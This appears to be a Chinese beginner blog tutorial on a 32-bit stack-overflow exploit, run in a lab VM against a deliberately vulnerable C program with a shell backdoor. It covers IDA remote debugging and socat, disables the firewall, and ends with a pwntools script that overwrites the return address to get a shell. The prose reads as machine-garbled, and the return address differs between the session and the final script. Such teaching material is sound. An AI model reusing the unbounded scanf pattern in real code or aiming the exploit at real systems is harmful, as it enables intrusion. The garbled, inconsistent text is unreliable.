发布于2022年11月4日3年前 第一个PWN:栈溢出原理以及EXP的编写 PWN入门有那么难吗,此文篇幅很小,假如你想做,一定能够学会。加油,打工人!准备虚拟机:CentOS 6.8 32bit、gcc、socat宿主机:IDA7.0、 Python + pwntools略有小坑,当宿主机IDA衔接不到centOS时,请关闭centOS的防火墙:service iptables stop咱们都说栈溢出是PWN的`Hello World`,那么我将用一个简略的比如,手把手的来演示一个非常简略的栈溢出利用,顺便学习用下咱们的pwntools,万事开头难,但假如你跟着流程走一遍的话,会敞开一个新世界的大门。存在栈溢出的代码分析略微懂点C和汇编,这个比如人人都能上手,简略说,有手就行。贴出咱们本次实验要运用的C代码,解说的方式我都用注释来进行://stack_overflow.c #include // 这是存在栈溢出的函数 void stack_overflow() { char buf[64] = {0}; scanf("%s", &buf); //将输入的数据读入buf中 printf("Hello %s\n", &buf); //打印出buf中的内容 } // 为了方便实验这儿留下一个后门函数 void get_shell() { system("/bin/sh"); } // 程序入口 void main() { stack_overflow(); }分析一下,上边代码存在栈溢出的部分在`scanf()`函数,由于buf是在栈空间中的,buf是分配了64个字节可是却没有限制输入的长度。如何栈溢出既然是栈溢出,那么我相信咱们都有一定的根底吧,最少了解下什么是栈。首要最重要的是,咱们要知道为什么会有栈的存在,这要从函数的发明说起,感兴趣的能够查阅一下wiki。栈的用处之一便是为了存储局部变量,那么上层函数的回来地址也存储在栈中。第一次调试代码写好了,咱们先来编译运转一下[root@localhost pwn]# gcc stack_overflow.c -o stack_overflow [root@localhost pwn]# ./stack_overflow stack_overflow Hello stack_overflow好,成果简简略单,输入一个字符串,然后输出。那么咱们打开宿主机的IDA,把咱们编译好的程序拖进IDA,然后在stack_overflow的地方下好断点接下来将IDA安装目录的linux_server拷贝到centOS上,运转起来[root@localhost pwn]# ./linux_server IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017 Listening on 0.0.0.0:23946...到IDA中,选择 "Debugger" --> "Select debugger";然后选”Remote Linux debugger“,点击“OK”;点击“Debugger” --> "Process options...";Hostname填入centOS的IP,Port默认是23946;其他的默认,然后咱们按“F9”开端调试咱们持续往下走,直到输入`AAAAAA`之后那么到这儿,思路来了,由于上边那个程序没有对输入的长度做校验,关于上边那个程序咱们要做的便是计算好输入的长度,然后将后门地址填充到回来的地址,计算一下输入的地址距离buf地址的长度`0xBF8C17BC-0xBF8C1770`等于`0x4C`所以接下来思路就很清晰了,咱们填充0x4C个字符后,再填入后门的地址。第二次调试紧接着第一次调试,这次调试咱们运用pwntools接收程序的输入输出。首要,咱们在centOS上运用socat将输入输出转发到9999端口:[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0然后咱们用pwntools衔接下:➜ ~ python3 Python 3.7.4 (default, Sep 7 2019, 17:46:28) [Clang 10.0.1 (clang-1001.0.46.4)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> io = remote('172.16.177.134', 9999) [x] Opening connection to 172.16.177.134 on port 9999 [x] Opening connection to 172.16.177.134 on port 9999: Trying 172.16.177.134 [+] Opening connection to 172.16.177.134 on port 9999: Done此时已经衔接成功,stack_overflow程序也已经跑起来了;回来IDA,咱们在scanf的下一句汇编下好断点;然后选择"Debugger" --> "Attach to process...",选择运转起来的stack_overflow;点击"OK";然后再按下"F9",让程序跑起来在Python中,咱们持续,发送咱们输入的数据,记得要发送一个回车,也能够用sendline()函数,自带回车:>>> payload = b'A'*0x4c + p32(0x0804848e) >>> io.send(payload) >>> io.send('\n')接下来IDA断下了,咱们持续往下步过,到retn,咱们发现行将跳转到get_shell()这儿。接下来我就不一一调试了,感兴趣的同学能够持续往下跟,这儿我直接`F9`,然后运用pwntools进入命令行的交互模式,为了让咱们有点感觉`:)`,我这儿加了一个flag.txt:>>> io.interactive() [*] Switching to interactive mode Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�� ls flag.txt linux_server stack_overflow stack_overflow.c cat flag.txt flag{Y0u_Win_by_ATL_TEAM}每次调试完完记得io.close(),不然会出现很多stack_overflow的程序。EXP编写综合上述,那么EXP应该这样写#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * io = remote('172.16.177.134', 9999) payload = b'A'*0x4C + p32(0x08048475) io.sendline(payload) io.interactive() io.close()小结吐槽下编辑器,第一遍竟然没保存成功,还好文章不长。假如步骤没说清楚,请咱们谈论,究竟第一次写文章哈哈,假如上边还不过瘾的话,别担心,此文章还会有后续的~
创建帐户或登录后发表意见